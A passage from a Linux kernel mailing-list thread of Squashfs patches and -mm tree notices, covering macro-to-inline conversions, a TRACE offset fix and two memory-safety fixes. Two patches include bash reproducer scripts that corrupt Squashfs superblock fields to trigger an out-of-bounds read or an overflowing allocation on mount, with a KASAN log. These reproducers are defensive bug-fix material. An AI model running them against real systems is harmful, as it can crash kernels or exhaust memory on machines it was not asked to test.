@@ -132,4 +132,41 @@ static inline s16 squashfs_id_block_bytes(u16 ids) {return squashfs_id_blocks (ids) *sizeof (long long ); } + +/* xattr id lookup table defines */ +static inline s64 squashfs_xattr_bytes (u32 xattrs) +{ +return (s64 ) xattrs *sizeof (struct squashfs_xattr_id ); +} + +static inline s32 squashfs_xattr_block (u32 xattrs) +{ +return squashfs_xattr_bytes (xattrs) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_xattr_block_offset (u32 xattrs) +{ +return squashfs_xattr_bytes (xattrs) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_xattr_blocks (u32 xattrs) +{ +return (squashfs_xattr_bytes (xattrs) +SQUASHFS_METADATA_SIZE -1 ) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_xattr_block_bytes (u32 xattrs) +{ +return squashfs_xattr_blocks (xattrs) *sizeof (long long ); +} + +static inline u32 squashfs_xattr_blk (s64 xattr) +{ +return xattr >>16 ; +} + +static inline s16 squashfs_xattr_offset (s64 xattr) +{ +return xattr &0xffff ; +}#endif
fs/squashfs/xattr.c +9 -9
@@ -19,6 +19,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" static const struct xattr_handler *squashfs_xattr_handler (int );
@@ -29,9 +30,9 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,struct inode *inode =d_inode (d);struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =SQUASHFS_XATTR_BLK (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =SQUASHFS_XATTR_OFFSET (squashfs_i (inode)->xattr); +u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + + msblk->xattr_table; +int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr);int count =squashfs_i (inode)->xattr_count;size_t rest = buffer_size;int err;
@@ -107,14 +108,13 @@ static int squashfs_xattr_get(struct inode *inode, int name_index, {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =SQUASHFS_XATTR_BLK (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =SQUASHFS_XATTR_OFFSET (squashfs_i (inode)->xattr); +u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + + msblk->xattr_table; +int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr);int count =squashfs_i (inode)->xattr_count;int name_len =strlen (name);int err, vsize;char *target =kmalloc (name_len,GFP_KERNEL ); -if (target ==NULL )return -ENOMEM ;
@@ -158,9 +158,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,if (err <0 ) goto failed; xattr =le64_to_cpu (xattr_val); - start =SQUASHFS_XATTR_BLK (xattr) + + start =squashfs_xattr_blk (xattr) + msblk->xattr_table; - offset =SQUASHFS_XATTR_OFFSET (xattr); + offset =squashfs_xattr_offset (xattr); }/* read xattr value */ err = squashfs_read_metadata(sb, &val, &start, &offset,
fs/squashfs/xattr_id.c +5 -4
@@ -19,6 +19,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -29,8 +30,8 @@ int squashfs_xattr_lookup(struct super_block *sb, unsigned int index, int *count, unsigned int *size, unsigned long long *xattr) { struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_XATTR_BLOCK (index); -int offset =SQUASHFS_XATTR_BLOCK_OFFSET (index); +int block =squashfs_xattr_block (index); +int offset =squashfs_xattr_block_offset (index);u64 start_block;struct squashfs_xattr_id id;int err;
@@ -79,8 +80,8 @@ __le64 *squashfs_read_xattr_id_table(struct super_block *sb, u64 table_start,if (*xattr_ids ==0 )return ERR_PTR (-EINVAL ); - len =SQUASHFS_XATTR_BLOCK_BYTES (*xattr_ids); - indexes =SQUASHFS_XATTR_BLOCKS (*xattr_ids); + len =squashfs_xattr_block_bytes (*xattr_ids); + indexes =squashfs_xattr_blocks (*xattr_ids);/* * The computed size of the index table (len bytes) should exactly
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-convert-squashfs_xattr_-to-inline-functions.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: convert SQUASHFS_XATTR_* to inline functions has been removed from the -mm tree. Its filename was squashfs-convert-squashfs_xattr_-to-inline-functions.patch
The quilt patch titled
Subject: Squashfs: convert SQUASHFS_XATTR_* to inline functions
has been removed from the -mm tree. Its filename was
squashfs-convert-squashfs_xattr_-to-inline-functions.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_XATTR_* to inline functions
Date: Wed, 11 Nov 2026 23:43:46 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and sigedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/squashfs_fs.h | 19 --------------- fs/squashfs/squashfs_helpers.h | 37 +++++++++++++++++++++++++++++++ fs/squashfs/xattr.c | 18 +++++++-------- fs/squashfs/xattr_id.c | 9 ++++--- 4 files changed, 51 insertions(+), 32 deletions(-)
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_xattr_-to-inline-functions +0 -19
@@ -107,25 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* xattr id lookup table defines */ -#define SQUASHFS_XATTR_BYTES (A ) (((u64) (A)) * sizeof(struct squashfs_xattr_id)) - -#define SQUASHFS_XATTR_BLOCK (A ) (SQUASHFS_XATTR_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_OFFSET (A ) (SQUASHFS_XATTR_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCKS (A ) ((SQUASHFS_XATTR_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_XATTR_BLOCK_BYTES (A ) (SQUASHFS_XATTR_BLOCKS(A) *\ - sizeof(u64)) -#define SQUASHFS_XATTR_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_XATTR_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) -/* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_xattr_-to-inline-functions +37 -0
@@ -132,4 +132,41 @@ static inline s16 squashfs_id_block_byte {return squashfs_id_blocks (ids) *sizeof (long long ); } + +/* xattr id lookup table defines */ +static inline s64 squashfs_xattr_bytes (u32 xattrs) +{ +return (s64 ) xattrs *sizeof (struct squashfs_xattr_id ); +} + +static inline s32 squashfs_xattr_block (u32 xattrs) +{ +return squashfs_xattr_bytes (xattrs) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_xattr_block_offset (u32 xattrs) +{ +return squashfs_xattr_bytes (xattrs) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_xattr_blocks (u32 xattrs) +{ +return (squashfs_xattr_bytes (xattrs) +SQUASHFS_METADATA_SIZE -1 ) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_xattr_block_bytes (u32 xattrs) +{ +return squashfs_xattr_blocks (xattrs) *sizeof (long long ); +} + +static inline u32 squashfs_xattr_blk (s64 xattr) +{ +return xattr >>16 ; +} + +static inline s16 squashfs_xattr_offset (s64 xattr) +{ +return xattr &0xffff ; +}#endif
fs/squashfs/xattr.c renamed from fs/squashfs/xattr.c~squashfs-convert-squashfs_xattr_-to-inline-functions +9 -9
@@ -19,6 +19,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" static const struct xattr_handler *squashfs_xattr_handler (int );
@@ -29,9 +30,9 @@ ssize_t squashfs_listxattr(struct dentrystruct inode *inode =d_inode (d);struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =SQUASHFS_XATTR_BLK (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =SQUASHFS_XATTR_OFFSET (squashfs_i (inode)->xattr); +u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + + msblk->xattr_table; +int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr);int count =squashfs_i (inode)->xattr_count;size_t rest = buffer_size;int err;
@@ -107,14 +108,13 @@ static int squashfs_xattr_get(struct ino {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =SQUASHFS_XATTR_BLK (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =SQUASHFS_XATTR_OFFSET (squashfs_i (inode)->xattr); +u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + + msblk->xattr_table; +int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr);int count =squashfs_i (inode)->xattr_count;int name_len =strlen (name);int err, vsize;char *target =kmalloc (name_len,GFP_KERNEL ); -if (target ==NULL )return -ENOMEM ;
@@ -158,9 +158,9 @@ static int squashfs_xattr_get(struct inoif (err <0 ) goto failed; xattr =le64_to_cpu (xattr_val); - start =SQUASHFS_XATTR_BLK (xattr) + + start =squashfs_xattr_blk (xattr) + msblk->xattr_table; - offset =SQUASHFS_XATTR_OFFSET (xattr); + offset =squashfs_xattr_offset (xattr); }/* read xattr value */ err = squashfs_read_metadata(sb, &val, &start, &offset,
fs/squashfs/xattr_id.c renamed from fs/squashfs/xattr_id.c~squashfs-convert-squashfs_xattr_-to-inline-functions +5 -4
@@ -19,6 +19,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h"
@@ -29,8 +30,8 @@ int squashfs_xattr_lookup(struct super_b int *count, unsigned int *size, unsigned long long *xattr) { struct squashfs_sb_info *msblk = sb->s_fs_info; -int block =SQUASHFS_XATTR_BLOCK (index); -int offset =SQUASHFS_XATTR_BLOCK_OFFSET (index); +int block =squashfs_xattr_block (index); +int offset =squashfs_xattr_block_offset (index);u64 start_block;struct squashfs_xattr_id id;int err;
@@ -79,8 +80,8 @@ __le64 *squashfs_read_xattr_id_table(strif (*xattr_ids ==0 )return ERR_PTR (-EINVAL ); - len =SQUASHFS_XATTR_BLOCK_BYTES (*xattr_ids); - indexes =SQUASHFS_XATTR_BLOCKS (*xattr_ids); + len =squashfs_xattr_block_bytes (*xattr_ids); + indexes =squashfs_xattr_blocks (*xattr_ids);/* * The computed size of the index table (len bytes) should exactly
_
Patches currently in -mm which might be from [email protected] are
squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 7/22 Squashfs: fix offset in squashfs_read_inode() TRACE statements
In reply to Phillip LougherThe offset used in the TRACE statements has been advanced past the start of the inode header by the squashfs_read_metadata() call. This means the offset printed is incorrect.
Fix this by using the original offset, which is obtained by calling squashfs_inode_offset(ino).
--- fs/squashfs/inode.c | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-)
fs/squashfs/inode.c +14 -8
@@ -184,7 +184,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)TRACE ("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n" ,squashfs_inode_blk (ino), - offset,squashfs_i (inode)->start, block, offset); +squashfs_inode_offset (ino), +squashfs_i (inode)->start, block, offset);break ; }case SQUASHFS_LREG_TYPE : {
@@ -244,7 +245,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)TRACE ("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n" ,squashfs_inode_blk (ino), - offset,squashfs_i (inode)->start, block, offset); +squashfs_inode_offset (ino),squashfs_i (inode)->start, + block, offset);break ; }case SQUASHFS_DIR_TYPE : {
@@ -266,7 +268,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -squashfs_inode_blk (ino), offset, +squashfs_inode_blk (ino), +squashfs_inode_offset (ino),squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -293,7 +296,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,squashfs_inode_blk (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), +squashfs_inode_offset (ino),squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -337,8 +341,8 @@ int squashfs_read_inode(struct inode *inode, long long ino) }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,squashfs_inode_blk (ino), offset, - block, offset); +"%x\n" ,squashfs_inode_blk (ino), +squashfs_inode_offset (ino), block, offset);break ; }case SQUASHFS_BLKDEV_TYPE :
@@ -361,7 +365,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -squashfs_inode_blk (ino), offset, rdev); +squashfs_inode_blk (ino), +squashfs_inode_offset (ino), rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :
@@ -386,7 +391,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -squashfs_inode_blk (ino), offset, rdev); +squashfs_inode_blk (ino), +squashfs_inode_offset (ino), rdev);break ; }case SQUASHFS_FIFO_TYPE :
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: fix offset in squashfs_read_inode() TRACE statements has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: fix offset in squashfs_read_inode() TRACE statements
has been removed from the -mm tree. Its filename was
squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix offset in squashfs_read_inode() TRACE statements
Date: Wed, 11 Nov 2026 23:43:47 +0000
The offset used in the TRACE statements has been advanced past the start of the inode header by the squashfs_read_metadata() call. This means the offset printed is incorrect.
Fix this by using the original offset, which is obtained by calling squashfs_inode_offset(ino).
fs/squashfs/inode.c | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-fix-offset-in-squashfs_read_inode-trace-statements +14 -8
@@ -184,7 +184,8 @@ int squashfs_read_inode(struct inode *inTRACE ("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n" ,squashfs_inode_blk (ino), - offset,squashfs_i (inode)->start, block, offset); +squashfs_inode_offset (ino), +squashfs_i (inode)->start, block, offset);break ; }case SQUASHFS_LREG_TYPE : {
@@ -244,7 +245,8 @@ int squashfs_read_inode(struct inode *inTRACE ("File inode %x:%x, start_block %llx, block_list_start " "%llx, offset %x\n" ,squashfs_inode_blk (ino), - offset,squashfs_i (inode)->start, block, offset); +squashfs_inode_offset (ino),squashfs_i (inode)->start, + block, offset);break ; }case SQUASHFS_DIR_TYPE : {
@@ -266,7 +268,8 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -squashfs_inode_blk (ino), offset, +squashfs_inode_blk (ino), +squashfs_inode_offset (ino),squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -293,7 +296,8 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,squashfs_inode_blk (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), +squashfs_inode_offset (ino),squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;
@@ -337,8 +341,8 @@ int squashfs_read_inode(struct inode *in }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,squashfs_inode_blk (ino), offset, - block, offset); +"%x\n" ,squashfs_inode_blk (ino), +squashfs_inode_offset (ino), block, offset);break ; }case SQUASHFS_BLKDEV_TYPE :
@@ -361,7 +365,8 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -squashfs_inode_blk (ino), offset, rdev); +squashfs_inode_blk (ino), +squashfs_inode_offset (ino), rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :
@@ -386,7 +391,8 @@ int squashfs_read_inode(struct inode *insquashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -squashfs_inode_blk (ino), offset, rdev); +squashfs_inode_blk (ino), +squashfs_inode_offset (ino), rdev);break ; }case SQUASHFS_FIFO_TYPE :
_
Patches currently in -mm which might be from [email protected] are
squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 8/22 Squashfs: fix fragment bytes overflow on 32-bit architectures
In reply to Phillip LougherIn helper function squashfs_fragment_bytes() the u32 fragments variable is multiplied by sizeof(struct squashfs_fragment_enty).
On a 32-bit architecture the type of sizeof() is a 32-bit unsigned integer, which means the computation will overflow for fragments values above 268435455.
The knock-on effect is the size of the in memory fragment index table will be incorrectly computed, and a much smaller than expected index table will be allocated and read into memory.
Later when a fragment index beyond this is looked up in this table, this will produce an out of bounds access.
The fix is to explicitly widen the fragments variable to a long long in the squashfs_fragment_bytes() helper function.
Reproducer
=========
The following script when run on a 32-bit x86 kernel (which lacks KASAN support) will produce an I/O error. On a 32-bit ARM kernel with KASAN enabled, the out of bounds access will also produce a KASAN report.
[ 193.817260] ================================================================== [ 193.818057] BUG: KASAN: slab-out-of-bounds in squashfs_frag_lookup+0x23c/0x264 [ 193.820408] Read of size 8 at addr cc126708 by task stat/357 [ 193.820720] [ 193.821675] CPU: 3 UID: 0 PID: 357 Comm: stat Not tainted 7.2.0-13187-g66498c75b4f8 #113 VOLUNTARY
=================================================================
#!/bin/bash
ARGS="-no-duplicates -no-sparse -no-hardlinks -quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}# Create a Squashfs filesystem with 1026 files and 513 fragments. # This will create a two entry Squashfs fragment index table. #
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/urandom of=urandom bs=1024 count=50 status=none for i in $(seq 1 1026); do
echo "$i l urandom" >> pseudo
done
# Create the Squashfs filesystem
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset # 16 bytes.
#
# Over-write the fragments count with 268,435,457 little-endian. On a # 32-bit architecture, this when multiplied by 16 will overflow, giving
# the value 16. # # Ultimately this will cause the kernel code to create and read a single # entry index table (where in fact the table has two entries). # # Then stating file 999 which has a fragment id in the second index, # will cause an out of bounds access.
# Write 268,435,457 in little-endian format to file /usr/bin/echo -en "\x01\x00\x00\x10" > file
# Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat file 999
echo Stat file 999
stat /mnt/999
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
--- fs/squashfs/squashfs_helpers.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
fs/squashfs/squashfs_helpers.h +1 -1
@@ -55,7 +55,7 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset)/* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes (u32 fragments) { -return fragments *sizeof (struct squashfs_fragment_entry ); +return (s64 ) fragments *sizeof (struct squashfs_fragment_entry ); }static inline s32 squashfs_fragment_index (u32 fragments)
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: fix fragment bytes overflow on 32-bit architectures has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: fix fragment bytes overflow on 32-bit architectures
has been removed from the -mm tree. Its filename was
squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix fragment bytes overflow on 32-bit architectures
Date: Wed, 11 Nov 2026 23:43:48 +0000
In helper function squashfs_fragment_bytes() the u32 fragments variable is multiplied by sizeof(struct squashfs_fragment_enty).
On a 32-bit architecture the type of sizeof() is a 32-bit unsigned integer, which means the computation will overflow for fragments values above 268435455.
The knock-on effect is the size of the in memory fragment index table will be incorrectly computed, and a much smaller than expected index table will be allocated and read into memory.
Later when a fragment index beyond this is looked up in this table, this will produce an out of bounds access.
The fix is to explicitly widen the fragments variable to a long long in the squashfs_fragment_bytes() helper function.
Reproducer
=========
The following script when run on a 32-bit x86 kernel (which lacks KASAN support) will produce an I/O error. On a 32-bit ARM kernel with KASAN enabled, the out of bounds access will also produce a KASAN report.
[ 193.817260] ================================================================== [ 193.818057] BUG: KASAN: slab-out-of-bounds in squashfs_frag_lookup+0x23c/0x264 [ 193.820408] Read of size 8 at addr cc126708 by task stat/357 [ 193.820720] [ 193.821675] CPU: 3 UID: 0 PID: 357 Comm: stat Not tainted 7.2.0-13187-g66498c75b4f8 #113 VOLUNTARY
=================================================================
#!/bin/bash
ARGS="-no-duplicates -no-sparse -no-hardlinks -quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}# Create a Squashfs filesystem with 1026 files and 513 fragments. # This will create a two entry Squashfs fragment index table. #
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
# Create a Squashfs pseudo file which is fed to Mksquashfs echo Create a Squashfs pseudo file which is fed to Mksquashfs
dd if=/dev/urandom of=urandom bs=1024 count=50 status=none for i in $(seq 1 1026); do
echo "$i l urandom" >> pseudo
done
# Create the Squashfs filesystem
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -pf pseudo -p "/ d 0777 0 0" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset # 16 bytes.
#
# Over-write the fragments count with 268,435,457 little-endian. On a # 32-bit architecture, this when multiplied by 16 will overflow, giving
# the value 16. # # Ultimately this will cause the kernel code to create and read a single # entry index table (where in fact the table has two entries). # # Then stating file 999 which has a fragment id in the second index, # will cause an out of bounds access.
# Write 268,435,457 in little-endian format to file /usr/bin/echo -en "\x01\x00\x00\x10" > file
# Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
# Stat file 999
echo Stat file 999
stat /mnt/999
popd 2>&1 > /dev/null
rm -rf $DIR
=================================================================
fs/squashfs/squashfs_helpers.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures +1 -1
@@ -55,7 +55,7 @@ static inline s64 squashfs_mkinode(u32 s/* fragment and fragment table defines */ static inline s64 squashfs_fragment_bytes (u32 fragments) { -return fragments *sizeof (struct squashfs_fragment_entry ); +return (s64 ) fragments *sizeof (struct squashfs_fragment_entry ); }static inline s32 squashfs_fragment_index (u32 fragments)
_
Patches currently in -mm which might be from [email protected] are
squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-block-count.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 9/22 Squashfs: fix fragment index table length too large exploit
In reply to Phillip LougherAn attacker can manipulate the fragment count and the fragment table start values in the superblock, and force the code to kmalloc() a 4 Mbyte memory region, or try to allocate larger values which will fail with a warning, and which will panic the kernel if panic on warn is set.
If the allocation succeeds, these invalid values will be caught when the code tries to read the data from disk, but, this leaves a small time window where the 4 Mbyte block is allocated before being freed when the mount of the filesystem fails.
The exploit relies on arithmetic overflow to evade the following sanity check:
if (fragment_table_start + length > next_table)
Specifically, the values of fragment_table_start and length can be chosen so that they overflow an unsigned long long, and so appear less than next_table.
Typically, the maximum memory that can be allocated with kmalloc() is 4 Mbytes. So if length is 4 Mbytes, this means fragment_table_start needs to be 2^64 - 4 Mbytes, to achieve overflow and produce a zero length.
This value is beyond the end of any block device, because the maximum block device is 2^63 - 512 in size (LLONG_MAX >> 9 sectors of 512 bytes).
In practice this means such a large value will be caught when the code immediately after allocation tries to read the data off disk:
table = squashfs_read_table(sb, fragment_table_start, length);
However, the code should check for validity before allocating a large kmalloc() area, because such allocations can cause memory pressure or cause the kernel to panic.
This commit checks that fragment_tables_size is not too large, and ensures arithmetic overflow does not occur.
It also makes the sanity check more exacting by utilising the fact that there should be zero gap between the end of the fragment index table and the next table.
Reproducer
=========
The following script if the eploit works, will fail with the mount error
mount: attempt to access beyond end of device
=================================================================
#!/bin/bash
ARGS="-quiet -no-progress"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}# Create a Squashfs filesystem with a single file. #
DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create the Squashfs filesystem
if ! mksquashfs - img.sqsh -p "/ d 0777 0 0" -p "/file f 0777 0 0 echo hello" $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
# The fragments field (fragment count) in the superblock is at offset # 16 bytes.
#
# Over-write the fragments count with 268,435,456 little-endian. # This will make the kernel try to kmalloc() 4 Mbytes to hold the
# fragment index table. #
# Write 268,435,456 in little-endian format to file /usr/bin/echo -en "\x00\x00\x00\x10" > file
# Over-write the fragments count in the superblock echo Over-write the fragments count in the superblock
dd bs=1 seek=16 if=file of=img.sqsh count=4 conv=notrunc status=none
# The fragment table start (start of the index table) in the superblock
# is at offset 72 bytes. # # Over-write the value with 2^64 - 4 Mbytes little-endian. # This value with the index table length will overflow an unsigned # long long, giving the value 0. This will evade the sanity check.
# Write 2^64 - 4 Mbytes in little-endian format to file /usr/bin/echo -en "\x00\x00\xc0\xff\xff\xff\xff\xff" > file
# Over-write the fragment table start in the superblock echo Over-write the fragment table start in the superblock
dd bs=1 seek=80 if=file of=img.sqsh count=8 conv=notrunc status=none
# Mount the filesystem to /mnt
echo Mount the filesystem to /mnt
# If the eploit works, the mount will fail with
# mount: attempt to access beyond end of device
if ! mount -t squashfs img.sqsh /mnt; then
